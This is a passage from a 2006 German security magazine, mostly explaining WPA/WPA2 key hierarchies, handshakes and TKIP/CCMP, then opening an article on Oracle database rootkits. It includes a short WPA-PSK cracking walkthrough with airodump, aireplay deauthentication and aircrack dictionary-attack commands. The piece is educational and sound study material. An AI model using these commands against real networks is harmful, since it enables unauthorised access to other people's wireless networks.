TK (Temporary Key – 128 Bbits): Schlüssel für die Datenverschlüsselung (benutzt von TKIP oder CCMP); TMK (Temporary MIC Key – 2x64 Bits): Schlüssel für die Datenauthentifizierung (benutzt nur von Michael mit TKIP). Jeweils ein zugeordneter Schlüssel wird für jede Seite der Kommunikation benutzt.
Diese Hierarchie wird in Abbildung 8 zusammengefasst. Der vom Access Point initiierte 4-Wege-Handshake ermöglicht: • •
20
die Kenntnis des Clients vom PMK zu bestätigen; einen neuen PTK abzuleiten;
hakin9 Nr. 1/2006
• • •
die Verschlüsselungs- und Integritätsschlüssel einzuführen; den GTK verschlüsselt zu transportieren; die Auswahl der Cipher-Suite zu bestätigen.
Vier EAPOL-Schlüssel Nachrichten werden während des 4-WegeHandshakes zwischen dem Client und dem Access Point ausgetauscht. Dieser Vorgang wird in Abbildung 9 veranschaulicht. Der PTK wird vom PMK, einer festen Zeichenkette, der MACAdresse des Access Points, der MAC-Adresse des Clients und zwei Zufallszahlen (ANonce und SNonce, die vom Authenticator bzw. vom Supplicant generiert werden) abgeleitet.
www.hakin9.org
Der Access Point initiiert die erste Nachricht, indem er die Zufallszahl ANonce wählt und diese an den Supplicant sendet, wobei er die Nachricht weder verschlüsselt noch anderweitig vor Sabotage schützt. Der Supplicant generiert seine eigene Zufallszahl SNonce und kann nun den PTK und die daraus abgeleiteten temporären Schlüssel errechnen. Anschließend sendet er SNonce und den MIC-Schlüssel, den er aus der zweiten Nachricht unter Benutzung des KCK-Schlüssels errechnet hat. Wenn der Authenticator die zweite Nachricht erhält, kann er SNonce extrahieren (da die Nachricht nicht verschlüsselt ist) und den PTK bzw. die abgeleiteten temporären Schlüssel berechnen. Jetzt kann er den Wert des MICs in der zweiten Nachricht verifizieren und dadurch sicher sein, dass der Supplicant den PMK kennt und den PTK bzw. die abgeleiteten temporären Schlüssel richtig berechnet hat. Die dritte Nachricht, die vom Authenticator an den Supplicant gesendet wird, enthält den GTK (mit dem KEK-Schlüssel verschlüsselt), der von einem zufälligen GMK und GNonce abgeleitet wurde (siehe Abbildung 10 für Details) zusammen mit einem MIC, der aus der dritten Nachricht unter Benutzung des KCK-Schlüssels berechnet wurde. Wenn der Supplicant diese Nachricht erhält, wird der MIC überprüft um sicherzustellen, dass der Authenticator den PMK kennt und den PTK bzw. die abgeleiteten temporären Schlüssel richtig berechnet hat. Die letzte Nachricht bestätigt die Vollendung des gesamten Handshakes und zeigt an, dass der Supplicant jetzt den Schlüssel einrichten wird und mit der Verschlüsselung beginnt. Nach Empfang installiert der Authenticator seine Schlüssel, nachdem er den MIC-Wert überprüft hat. Dadurch haben sich der Mobile Device und der Access Point Encryption- und Integritäts-Keys besorgt, errechnet und installiert und sind nun in der Lage, über einen sicheren Kanal als Unicast- oder Multicast-Traffic zu kommunizieren.
WEP-, WPA- und WPA2-Sicherheit
Multicast-Traffic wird mit einem anderen Schlüssel, dem GTK (Group Transient Key), geschützt, der aus einem Master-Schlüssel, genannt GMK (Group Master Key), einer festen Zeichenkette, der MACAdresse des Access Points und einer Zufallszahl GNonce generiert wird. Die Länge des GTK hängt vom Verschlüsselungsprotokoll ab – 256 Bits für TKIP und 128 Bits für CCMP. Der GTK ist in zwei zugeordnete temporäre Schlüssel unterteilt: •
•
GEK (Group Encryption Key): Schlüssel für die Datenverschlüsselung (wird von CCMP für die Authentifizierung und Verschlüsselung und von TKIP benutzt); GIK (Group Integrity Key): Schlüssel für die Datenauthentifizierung (nur von Michael mit TKIP benutzt).
Diese Hierarchie ist in Abbildung 10 zusammengefasst. Zwei EAPOL-Schlüssel Nachrichten werden zwischen dem Client und dem Access Point während des Gruppenschlüssel-Handshakes ausgetauscht. Dieser Handshake nutzt temporäre Schlüssel, die während des 4-Wege-Handshakes generiert wurden (KCK und KEK). Dieser Vorgang ist in Abbildung 11 veranschaulicht. Der Gruppenschlüssel-Handshake wird nur bei der Trennung eines Hosts benötigt, oder um den GTK auf Anfrage eines Clients zu erneuern. Der Authenticator initiiert die erste Nachricht, indem er eine Zufallszahl GNonce wählt und einen neuen GTK errechnet. Er sendet den verschlüsselten GTK (unter Benutzung des KEKs), die GTK-Sequenznummer und den MIC, den er aus dieser Nachricht berechnet hat, mithilfe von KCK an den Supplicant. Wenn die Nachricht vom Supplicant empfangen wird, wird der MIC verifiziert und der GTK kann entschlüsselt werden. Die zweite Nachricht bestätigt den Abschluss des Gruppenschlüssel-Handshakes, indem die GTKSequenznummer und die MIC, die für diese zweite Nachricht berechnet
Abbildung 9. Phase 3: 4-Wege-Handshake wurde, gesendet wird. Nach Erhalt übernimmt der Authenticator den neuen GTK (nachdem er den MICWert verifiziert hat). Ein STAkey-Handshake existiert ebenfalls, aber soll hier nicht behandelt werden. Er unterstützt die Erzeugung eines geheimen Übergangsschlüssels vom Access Point für ad-hoc-Verbindungen, der als STAkey bezeichnet wird.
Phase 4: RSNA-Datenvertraulichkeit und -integrität
Alle Schlüssel, die vorher generiert wurden, werden in Protokollen benutzt, die RSNA-Datenvertraulichkeit und -integrität unterstützen: • •
•
TKIP (Temporal Key Hash); CCMP (Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol); WRAP (Wireless Robust Authenticated Protocol).
Sie müssen ein wichtiges Konzept verstanden haben, bevor diese Protokolle genauer beschrieben werden können – den Unterschied zwischen einer MSDU (MAC Service
www.hakin9.org
Data Unit) und einer MPDU (MAC Protocol Data Unit). Beide beziehen sich auf ein einzelnes Datenpaket, wobei jedoch MSDU die Daten vor der Fragmentierung repräsentiert, während MPDUs die mehreren Dateneinheiten nach der Fragmentierung sind. Der Unterschied ist beim TKIP- und CCMP-Verschlüsselungsprotokoll wichtig, weil im TKIP der MIC aus der MSDU berechnet wird, während er im CCMP aus der MPDU errechnet wird. Genau wie WEP basiert TKIP auf dem RC4-Verschlüsselungsalgorithmus, jedoch existiert es aus genau einem Grund: um es zu ermöglichen, WEP-Systeme zu aktualisieren, um dadurch ein sichereres Protokoll umzusetzen. TKIP wird für die WPAZertifizierung benötigt und ist als Option auch als Teil von RSN 802.11i inbegriffen. TKIP fügt für jede der eingangs beschriebenen WEP-Schwachstellen Abhilfe schaffende Maßnahmen bei: •
Nachrichtenintegrität: ein neuer MIC (Message Integrity Code), basierend auf dem MichaelAlgorithmus, kann in Software implementiert werden, die auf
hakin9 Nr. 1/2006
21
Thema der Ausgabe
Abbildung 10. Phase 3: Gruppenschlüssel-Hierarchie
Abbildung 11. Phase 3: Gruppenschlüssel-Handshake
•
•
•
22
langsamen Mikroprozessoren läuft; IV: neue Auswahlregeln für IV-Werte, die den IV als einen Replay-Counter (TSC oder TKIP Sequence Counter) benutzen und die Größe des IV erhöhen, um eine zweimalige Benutzung zu verhindern; Per Packet Key Mixing: um offensichtlich voneinander unabhängige Encryption-Keys hervorzubringen; Schlüsselmanagement: neue Mechanismen zur Schlüsselverteilung und -wechsel.
hakin9 Nr. 1/2006
Das TKIP Schlüssel-Mixing-Schema ist in zwei Phasen untergliedert. Phase 1 umfasst statische Daten – den geheimen Session-Schlüssel TEK, die Sender-MAC-Adresse TA (einbezogen, um IV-Kollisionen zu verhindern) und die oberen 32 Bits des IV. Phase 2 beinhaltet die Ausgabe von Phase 1 und die unteren 16 Bits des IV, wobei alle Bits des Per Packet Key-Felds für jeden neuen IV geändert werden. Der IV-Wert beginnt immer mit 0 und wird für jedes gesendete Paket um 1 erhöht, wobei jede Nachricht, deren TSC nicht größer als der in der letzten Nachricht
www.hakin9.org
ist, verworfen wird. Die Ausgabe von Phase 2 und ein Teil des erweiterten IV (plus ein Dummy-Byte) sind die Eingabe für RC4, welches einen Keystream über eine XOR-Verknüpfung mit der Klartext-MPDU, dem MIC, der aus der MPDU berechnet wird und dem alten ICV von WEP generiert (siehe Abbildung 12). Die MIC-Berechnung benutzt den Michael-Algorithmus von Niels Ferguson. Dieser wurde für TKIP erstellt und hat ein Soll-Sicherheitslevel von 20 Bits (der Algorithmus nutzt aus Performancegründen keine Multiplikation, da er auf alter Hardware für drahtlose Netzwerke unterstützt werden soll, die später auf WPA aktualisiert werden). Aufgrund dieser Beschränkung werden Gegenmaßnahmen benötigt, um das Verfälschen des MIC zu verhindern. MIC-Fehler müssen dürfen nicht häufiger als einmal pro Minute auftauchen. Ansonsten wird eine 60-Sekunden-Sperre erzwungen und neue Schlüssel (GTK und PTK) müssen anschließend eingeführt werden. Michael rechnet einen 8Oktett-langen Kontrollwert, genannt MIC, aus und hängt ihn vor der Übertragung an die MSDU an. Der MIC wird aus der Quelladresse (SA), Zieladresse (DA), Klartext-MSDU und dem dazugehörigen TMK berechnet (in Abhängigkeit von der Kommunikationsseite wird ein unterschiedlicher Schlüssel für den Versand und den Empfang benutzt). CCMP basiert auf der AES (Advanced Encryption Standard) Block-Cipher-Suite in dessen CCMBetriebsmodus, mit einer Länge des Schlüssels und der Blöcke von 128 Bits. AES ist für CCMP, was RC4 für TKIP ist, aber im Gegensatz zu TKIP, das dazu gedacht war sich an vorhandene WEP-Hardware anzupassen, ist CCMP kein Kompromiss, sondern ein neues Protokolldesign. CCMP benutzt den Counter-Modus in Verbindung mit einer Methode zur Nachrichtenauthentifikation, genannt Cipher Block Chaining (CBC-MAC), um einen MIC zu erstellen. Es wurden ebenfalls einige interessante Features hinzugefügt,
WEP-, WPA- und WPA2-Sicherheit
Abbildung 12. TKIP Key-Mixing-Schema und -verschlüsselung
Abbildung 13. MIC-Berechnung unter Benutzung des Michael-Algorithmus
wie zum Beispiel die Benutzung eines einzelnen Schlüssels für die Verschlüsselung und Authentifikation (mit verschiedenen Initialisierungsvektoren) oder das auch nicht-verschlüsselte Daten von der Authentifikation umfasst werden. Das CCMP-Protokoll fügt der MPDU 16 Bytes hinzu: 8 Bytes für den CCMP-Header und 8 Bytes für den MIC. Der CCMP-Header ist ein un-
Abbildung 14. CCMP-Verschlüsselung
www.hakin9.org
hakin9 Nr. 1/2006
23
Thema der Ausgabe
Listing 7. Auffinden in der Nähe liegender Netzwerke # airodump ath0 wpa-crk 0 BSSID 00:13:10:1F:9A:72
PWR 56
Beacons 112
# Data 16
BSSID 00:13:10:1F:9A:72
STATION 00:0C:F1:19:77:5C
PWR 34
CH 1
MB 48
Packets 1
ENC WPA
ESSID hakin9demo
ESSID hakin9demo
Listing 8. Starten eines Wörterbuch-Angriffs $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap Opening wpa-psk.cap Read 541 packets. BSSID ESSID Encryption 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
Abbildung 15. Schwacher WPA-PSK mit Aircrack gefunden verschlüsseltes Feld, das zwischen dem MAC-Header und den verschlüsselten Daten eingefügt wird und die 48-Bit-lange PN (Packet Number = Erweiterter IV) und Group Key KeyID enthält. Die PN wird für jede nachfolgende MPDU um eins erhöht. Die MIC-Berechnung benutzt den CBC-MAC-Algorithmus, der einen beginnenden Nonce-Block (aus den Priority-Feldern, der MPDUQuelladresse und der um eins erhöhten PN berechnet) verschlüsselt und die nachfolgenden Blöcke mithilfe von XOR verknüpft, um einen endgültigen MIC von 64 Bits Länge zu erhalten (der eigentliche MIC ist ein 128-Bit-langer Block, weil die
24
hakin9 Nr. 1/2006
unteren 64 Bits verworfen werden). Der MIC wird dann an die Klartextdaten im Counter-Modus zur Verschlüsselung mit AES angehangen. Der Counter wird aus einem Nonce, ähnlich dem des MIC, konstruiert, allerdings mit einem zusätzlichen Counter-Feld, das mit 1 initialisiert und dann für jeden Block schrittweise erhöht wird. Das letzte Protokoll ist WRAP, das ebenfalls auf AES basiert, aber das authentifizierte Verschlüsselungsschma OCB (Offset Codebook Modus) benutzt (Verschlüsselung und Authentifikation in einer einzelnen Berechnung). OCB war der erste von der IEEE 802.11i-Arbeitsgruppe ausgewähl-
www.hakin9.org
te Modus, aber wurde letztendlich aufgrund von Problemen im Bereich des Geistigen Eigentums und möglichen Lizenzkosten fallen gelassen. CCMP wurde daraufhin als verbindlich angenommen.
WPA/WPA2Schwachstellen
Obwohl seit der Veröffentlichung etliche kleinere Schwächen in WPA/ WPA2 entdeckt wurden, war keine von ihnen zu gefährlich, vorausgesetzt, einfache Sicherheitsempfehlungen werden befolgt. Die brauchbarste Schwachstelle ist der Angriff gegen den PSKSchlüssel von WPA/WPA2. Wie bereits gesagt, stellt der PSK eine Alternative zur PMK-Generierung nach 802.1X dar und benutzt einen Authentication Server. Es wird eine Zeichenkette von 256 Bits oder eine Passphrase von 8 bis 63 Zeichen benutzt, um eine solche Zeichenkette mithilfe eines bekannten Algorithmus zu generieren: PSK = PMK = PBKDF2 (Passphrase, SSID, SSIDLänge, 4096, 256), wobei PBKDF2 ein Verfahren ist, das in PKCS#5 benutzt wird, 4096 die Anzahl der Hashwerte ist und 256 die Länge der Ausgabe. Der PTK wird vom PMK abgeleitet, indem der 4-WegeHandshake benutzt wird und alle Informationen, die zur Berechnung seines Wertes benutzt werden, wird im Klartext übertragen. Die Stärke von PTK vertraut deshalb nur auf den PMK-Wert, was bei PSK praktisch die Stärke der Passphrase bedeutet. Wie von Robert Moskowitz angedeutet könnte die zweite Nachricht des 4-WegeHandshakes sowohl Wörterbuch- als auch offline durchgeführten BruteForce-Angriffen ausgesetzt sein. Das cowpatty-Werkzeug wurde erstellt, um diesen Fehler auszunutzen. Der Quellcode des Programms wurde von Christophe Devine in Aircrack benutzt und verbessert, um Wörterbuch- und Brute-Force-Angriffe auf den PSK auch unter WPA zu ermöglichen. Das Protokolldesign (4096 Hashwerte für jeden Passphrase-Versuch) führt dazu, dass ein
WEP-, WPA- und WPA2-Sicherheit
Brute-Force-Angriff sehr langsam ist (nur ein paar hundert Passphrases pro Sekunde mit den derzeitigen Einzelprozessoren). Der PMK kann nicht im Voraus berechnet (und in Tabellen gespeichert) werden, weil die Passphrase zusätzlich noch basierend auf der ESSID verschlüsselt wird. Es sollte eine gute Passphrase, die sich nicht im Wörterbuch finden lässt (mindestens 20 Zeichen), gewählt werden, um sich effektiv vor dieser Schwachstelle zu schützen. Um diesen Angriff durchzuführen, muss der Angreifer die Nachrichten aus dem 4-Wege-Handshake aufzeichnen, indem er passiv das drahtlose Netzwerk überwacht oder einen Deauthentifizierungs-Angriff durchführt (wie bereits beschrieben), um den Vorgang zu beschleunigen. Tatsächlich werden die ersten beiden Nachrichten benötigt, um anfangen zu können, PSK-Werte zu erraten. Denken Sie daran, dass PTK = PRF-X (PMK, Pairwise Key Expansion,
Min(AP_Mac, STA_Mac) || Max(AP_ Mac, STA_Mac) || Min(ANonce, SNonce) || Max(ANonce, SNonce)), wobei PMK in unserem Fall gleich PSK ist. Nach der zweiten Nachricht kennt der Angreifer ANonce (aus der ersten Nachricht) und SNonce (aus der zweiten Nachricht) und kann damit anfangen den PSK-Wert zu erraten, um den PTK und die abgeleiteten temporären Schlüssel zu berechnen. Wenn der PSK richtig erraten wird, kann der MIC der zweiten Nachricht mit dem dazugehörigen KCK erhalten werden – andernfalls muss erneut geraten werden. Nun wieder zu einem praktischen Beispiel. Es fängt genau wie unser WEP-Cracking-Beispiel an. Der erste Schritt ist die Aktivierung des Monitor-Modus:
# airodump ath0 wpa-psk 1 # airmon.sh start ath0
Im nächsten Schritt werden in der Nähe liegende Netzwerke und die
Im Internet • •
• • • • • • • • • • • • • • •
mit ihnen verbundenen Clients erkannt (siehe Listing 7). Das Ergebnis kann wie folgt interpretiert werden: ein Access Point mit der BSSID 00:13:10:1F:9A:72 benutzt WPA-Verschlüsselung auf Kanal 1 mit der SSID hakin9demo und ein Client, der durch die MACAdresse 00:0C:F1:19:77:5C identifiziert werden kann, ist mit diesem Netzwerk verbunden und in ihm authentifiziert (was bedeutet, dass der 4-Wege-Handshake für diesen Client bereits gemacht wurde). Sobald das Zielnetzwerk gefunden wurde, sollte das Einfangen auf dem richtigen Kanal, um das Verpassen von Paketen während des Scannens anderer Kanäle zu vermeiden, gestartet werden:
http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – IEEE 802.11iStandard, http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley – ISBN: 0-321-13620-9, http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – An inductive chosen plaintext attack against WEP/WEP2 (Arbaugh), http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir), http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – h1kari-Optimierung, http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner), http://airsnort.shmoo.com/ – AirSnort, http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine), http://weplab.sourceforge.net/ – Weplab (Sanchez), http://www.wifinetnews.com/archives/002452.html – WPA PSK-Schwachstelle (Moskowitz), http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – Cowpatty WPAPSK Cracking-Tools, http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analysis of the 802.11i 4-Way Handshake (He, Mitchell), http://www.cs.umd.edu/%7ewaa/1x.pdf – An initial security analysis of the IEEE 802.1X standard (Arbaugh, Mishra), http://support.microsoft.com/?kbid=893357 – WPA2-Update für Microsoft Windows XP SP2, http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant, http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Part 1, http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Part 2.
www.hakin9.org
Berechtigte Clients sollten danach deauthentifiziert werden, was sie dazu zwingt, eine neue Authentifizierungsanfrage zu initiieren. Das ermöglicht es uns, die Nachrichten des 4-Wege-Handshakes aufzuzeichnen. Für diesen Angriff wird ebenfalls Aireplay benutzt, das die ausgewählten Clients mit der speziellen BSSID deauthentifizieren wird, indem es einen gefälschten Deauthentifizierungs-Request sendet: # aireplay -0 1 -a -c ath0
Der letzte Schritt ist es, einen Wörterbuch-Angriff mithilfe von Aircrack zu starten (siehe Listing 8). Abbildung 15 zeigt die Ergebnisse. Die andere Hauptschwachstelle von WPA ist eine Möglichkeit für einen Denial of Service während des 4-Wege-Handshake. Changhua He und John C. Mitchell stellten fest, dass die erste Nachricht des 4-Wege-Handshake nicht authentifiziert wird und jeder Client jede erste Nachricht solange speichern muss, bis sie eine dritte (signierte) Nachricht erhalten. Dadurch ist der Client potenziell angreifbar in Bezug auf Speicherausschöpfung. Indem man die erste Nachricht, die vom
hakin9 Nr. 1/2006
25
Thema der Ausgabe
Glossar •
• • •
•
• • •
• • • •
•
• • •
•
AP – Access Point, eine Basisstation für ein Wi-Fi-Netzwerk, das Clients in drahtlosen Netzwerken untereinander bzw. mit den Netzwerken verbindet. ARP – Address Resolution Protocol, Protokoll für die Umwandlung von IP-Adressen in MAC-Adressen. BSSID – Basic Service Set Identifier, MAC-Adresse des Access Points. CCMP – Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol, Verschlüsselungsprotokoll, das bei WPA2 benutzt wird und auf der AES-Block CipherSuite basiert. CRC – Cyclic Redundancy Check, ein Pseudo-Integritätsalgorithmus, der im WEP-Protokoll benutzt wird (mittlerweile als schlecht angesehen). EAP – Extensible Authentication Protocol, Framework für verschiedene Authentifikationsmethoden. EAPOL – EAP Over LAN, Protokoll, das in drahtlosen Netzwerken zum Transport von EAP verwendet wird. GEK – Group Encryption Key, Schlüssel für die Datenverschlüsselung in Multicast-Traffic (ebenfalls für Integrität bei CCMP benutzt). GIK – Group Integrity Key, Schlüssel für die Datenverschlüsselung in Multicast-Traffic (bei TKIP benutzt). GMK – Group Master Key, Hauptschlüssel der Gruppenschlüssel-Hierarchie. GTK – Group Transient Key, aus dem GMK abgeleiteter Schlüssel. ICV – Integrity Check Value, Datenfeld, das zum Zwecke der Integrität an Klartextdaten angehangen wird (basiert auf dem als schwach eingestuften CRC32-Algorithmus). IV – Initialization Vector, Daten, die mit dem EncryptionKey kombiniert werden, um einen eindeutigen Keystream zu erzeugen. KCK – Key Confirmation Key, Integritätsschlüssel, der Handshake-Nachrichten schützt. KEK – Key Encryption Key, Schlüssel zur Sicherstellung der Vertraulichkeit bei Handshake-Nachrichten. MIC – Message Integrity Code, Datenfeld, das zum Zwecke der Integrität an Klartextdaten angehangen wird (basiert auf dem Michael-Algorithmus). MK – Master Key, Hauptschlüssel, der dem Supplicant und dem Authenticator nach dem 802.1x-Authentifikationsprozess bekannt ist.
Access Point gesendet wird, fälscht, kann ein Angreifer einen DoS-Angriff auf den Client durchführen, wenn es möglich ist, dass mehrere Sessions gleichzeitig existieren können. Der Michael Message Integrity Code besitzt ebenfalls eine bekannte Schwachstelle, die aus dessen Design resultiert (das von der 802.11i-Task group forciert wurde).
26
hakin9 Nr. 1/2006
• • • • •
• • • •
• • •
•
• • • • •
•
MPDU – Mac Protocol Data Unit, Datenpaket vor der Fragmentierung. MSDU – Mac Service Data Unit, Datenpaket nach der Fragmentierung. PAE – Port Access Entity, 802.1x-logischer Port. PMK – Pairwise Master Key, Hauptschlüssel der Hierarchie für paarweise generierte Schlüssel. PSK – Pre-Shared Key, Schlüssel, der aus der Passphrase abgeleitet wird und den PMK ersetzt. Üblicherweise wird er von einem echten Authenticator Server erstellt. PTK – Pairwise Transient Key, Schlüssel, der aus dem PMK abgeleitet wird. RSN – Robust Security Network, 802.11i-Sicherheitsmechanismus (TKIP, CCMP etc.). RSNA – Robust Security Network Association, SecurityAssociation, die in einem RSN benutzt wird. RSN IE – Robust Security Network Information Element, sind Felder, die in einen Probe Response und Association Request eingeschlossene RSN-Informationen beinhalten. SSID – Service Set Identifier, die Kennung für ein drahtloses Netzwerk (das gleiche wie die ESSID). STA – Station, ein Client im drahtlosen Netzwerk. TK – Temporary Key, Schlüssel für die Datenverschlüsselung in Unicast-Traffic (ebenfalls für die Integritätsüberprüfung bei CCMP benutzt). TKIP – Temporal Key Integrity Protocol, Verschlüsselungsprotokoll, das bei WPA benutzt wird und auf dem RC4-Algorithmus basiert (wie WEP). TMK – Temporary MIC Key, Schlüssel für Datenintegrität in Unicast-Traffic (bei TKIP verwendet). TSC – TKIP Sequence Counter, Replay-Counter, der bei TKIP benutzt wird (dasselbe wie Extended IV). TSN – Transitional Security Network, Sicherheitsmechanismus vor 802.11i (WEP etc.). WEP – Wired Equivalent Privacy, Standard-Verschlüsselungsprotokoll für 802.11-Netzwerke. WPA – Wireless Protected Access, Implementation einer frühen Version des 802.11i-Standards, basierend auf dem TKIP-Verschlüsselungsprotokoll. WRAP – Wireless Robust Authenticated Protocol, altes Verschlüsselungsprotokoll, das bei WPA2 benutzt wird.
Die Sicherheit von Michael hängt davon ab, dass die Kommunikation verschlüsselt wird. Während kryptografische MICs üblicherweise so gemacht sind, dass sie Known Plaintext-Angriffen (bei denen der Angreifer eine Klartext-Nachricht und deren MIC besitzt) standhalten, ist Michael für solche Angriffe anfällig, da er umkehrbar ist. Setzt man die Kenntnis
www.hakin9.org
einer einzelnen Nachricht und deren MIC-Wert voraus, so ist es möglich, den geheimen MIC-Schlüssel zu ermitteln. Deshalb ist es entscheidend, dass der MIC-Wert geheim gehalten wird. Die letztendlich bekannte Schwachstelle ist eine theoretische Angriffsmöglichkeit gegen den Temporal Key Hash von WPA, der unter bestimmten Umständen (Kenntnis
WEP-, WPA- und WPA2-Sicherheit
Über den Autor
Guillaume Lehembre ist ein französischer Berater für IT-Sicherheit und arbeitet seit 2004 bei HSC (Hervé Schauer Consultants – http:// www.hsc.fr). Während seiner abwechslungsreichen Berufslaufbahn befasste er sich mit Audits, Forschungen und Penetration Tests und eignete sich Erfahrung im Bereich der Sicherheit drahtloser Netzwerke an. Er gab ebenfalls öffentliche Vorträge und veröffentlichte Dokumente über IT-Security. Guillaume kann unter folgender E-Mail-Adresse kontaktiert werden:
[email protected] bestimmter RC4-Schlüssel) zu einer reduzierten Komplexität des Angriffs (von ∂128 auf ∂105) führt. WPA/WPA2 unterliegen ebenfalls Schwachstellen, die sich auf andere Mechanismen des 802.11i-Standards auswirken, wie zum Beispiel die Angriffe mit 802.1X-Nachrichtenfälschung (EAPoL Logoff, EAPoL Start, EAP Failure etc.), die zuerst von William A. Arbaugh und Arunesh Mishra beschrieben wurden und aufgrund fehlender Authentifizierung möglich sind. Zu guter Letzt ist es wichtig anzumerken, dass die Benutzung des WPA/WPA2-Protokolls keinen Schutz vor Angriffen, die sich gegen zugrunde liegende Technologien, wie zum Beispiel Hochfrequenzstörungen, DoS durch
Abbildung 16. WPA2Unterstützung unter Windows XP SP2
Listing 9. Beispielkonfigurationsdatei von wpa_supplicant für WPA2 ap_scan=1
# Scan radio frequency and select appropriate access point network={ # First wireless network ssid="some_ssid" # SSID of the network scan_ssid=1 # Send Probe Request to find hidden SSID proto=RSN # RSN for WPA2/IEEE 802.11i key_mgmt=WPA-PSK # Pre-Shared Key authentication pairwise=CCMP # CCMP protocol (AES encryption) psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac }
802.11-Verletzungen, Deauthentifizierung, Deassociation etc. richten, bietet.
Pfad zur Konfigurationsdatei (-c -Option) ausgeführt werden:
WPA/WPA2 OSImplementierung
# wpa_supplicant
In Windows ist die WPA2-Unterstützung nicht von Anfang an eingebaut. Ein Update für Windows XP SP2 (KB893357) wurde am 29. April 2005 veröffentlicht. Dadurch wurde WPA2 und eine verbesserte Netzwerkerkennung hinzugefügt (siehe Abbildung 16). Andere Betriebssysteme von Microsoft müssen einen externen Supplicant nutzen (kommerziell oder Open Source, wie zum Beispiel wpa_supplicant – die Windowsversion ist experimentell. Unter Linux und *BSD war wpa_ supplicant bereit für WPA2, als der 802.11i-Standard herauskam. Der externe Supplicant unterstützt eine große Anzahl an EAP-Verfahren und Schlüsselmanagement-Features für WPA, WPA2 und WEP. Es können mehrere Netzwerke mit verschiedenartigen Verschlüsselungen, Schlüsselmanagement und EAP-Verfahren eingestellt werden – Listing 9 zeigt eine einfache WPA2-Konfigurationsdatei. Der Standardort der Konfigurationsdatei von wpa_supplicant ist /etc/wpa_supplicant.conf. Die Datei sollte nur dem root-Benutzer zugänglich sein. Der wpa_supplicant-Daemon sollte als erstes mit root-Privilegien im Debug-Modus (-dd -Option) mit der richtigen Treiberunterstützung (in unserem Beispiel ist es die -D mad -Wifi-Option für die Unterstützung des Atheros-Chipsatzes), dem Namen der Schnittstelle (-i-Option, in unserem Fall ist es ath0) und dem
www.hakin9.org
-D madWi-Fi -dd -c /etc/wpa_supplicant.conf -i ath0
Alle theoretischen Schritte, die oben beschrieben wurden, werden im Debug-Modus ausgegeben (AP-Verbindung, 802.1X-Authentifizierung, 4Wege-Handshake etc.). Sobald alles funktioniert sollte wpa_supplicant im Daemon-Modus (ersetzen Sie die dd -Option mit -B) ausgeführt werden. Auf dem Macintosh wird WPA2 seit der Veröffentlichung des 4.2Updates der Apple AirPort-Software unterstützt: AirPort Extreme-enabled Macintoshes, AirPort Extreme Base Station und dem AirPort Express.
Zusammenfassung
Es ist klar, dass WEP-Verschlüsselung keine ausreichende Sicherheit für drahtlose Netzwerke bietet und nur mit übergeordneten Verschlüsselungslösungen (wie zum Beispiel VPNs) benutzt werden kann. WPA ist eine sichere Lösung für aktualisierbare Geräte, die nicht WPA2 unterstützen. WPA2 jedoch wird schon bald der Standard für Sicherheit in drahtlosen Netzwerken sein. Vergessen Sie nicht Ihre drahtlosen Geräte in einen gefiltertem Bereich zu platzieren und halten Sie eine Kabelverbindung in unverzichtbaren Netzwerken parat – Hochfrequenzstörungen und Low-Level-Angriffe (Verletzung des 802.11-Standards, falsche De-Association etc.) können immer noch verheerende Auswirkungen haben. l
hakin9 Nr. 1/2006
27
Oracle Rootkits Fokus Alexander Kornbrust
Schwierigkeitsgrad
Rootkits für Betriebssysteme sind schon seit vielen Jahren bekannt werden von Hackern nach dem Einbruch in ein Computersystem installiert, um Spuren des Einbruchs zu verwischen und sich eine Hintertür auf dem Betriebssystem einzurichten. Es ist allerdings nicht allgemein bekannt, dass Rootkits auch in Datenbanken – wo oft kritische Daten aufbewahrt werden – realisierbar sind und realisiert werden.
O
racle ist Marktführer im Bereich relationaler Datenbanken und Oracle Datenbanken sind in nahezu jedem größeren Unternehmen vertreten. Da sehr oft wichtige bzw. unternehmenskritische Daten in der Oracle Datenbanken gespeichert werden, werden Datenbanken im allgemeinen und speziell Oracle immer häufiger Ziel von Angriffen. Ein relativ neuer Trend bei Oracle Datenbanken sind Oracle Rootkits. Oracle Rootkits werden nach einem Einbruch in eine Oracle Datenbank installiert, um zum einen Spuren des Einbruchs zu verwischen und zum anderen die Anwesenheit des Angreifers zu verschleiern. Der folgende Artikel beschreibt das Konzept eines Oracle Rootkits, verschiedene Implementierungsmöglichkeiten sowie Gegenmaßnahmen.
Oracle Rootkits – Einführung
Oracle Datenbanken und Betriebssysteme sind in der Architektur relativ ähnlich. Es gibt bei Datenbanken und Betriebssystemen jeweils Benutzer, Prozesse, Jobs, ausführbare Dateien und symbolische Links. Tabelle 1 zeigt ein mögliches Mapping von *NIX Betriebssystem-Kommandos auf Oracle Befehle. Diese Ähnlichkeit kann sich ein Angreifer zunutze machen, um das Konzept
28
hakin9 Nr. 1/2006
der Rootkits, aber auch andere Malware wie Viren, aus der Welt der Betriebssysteme in die Welt der Oracle Datenbanken zu migrieren. Ein oft verwendeter Trick bei Betriebssystem Rootkits (der 1. Generation) ist es, versteckte Benutzer anzulegen, die für den Administrator nicht sichtbar sind. Dazu werden die *NIX-Betriebssystemkommandos wie ps, who und top durch trojanisierte Varianten ersetzt, die alles außer den neuangelegten Benutzer des Hackers anzeigen. Dieses Vorgehen lässt sich auch in
In diesem Artikel erfahren Sie... • • •
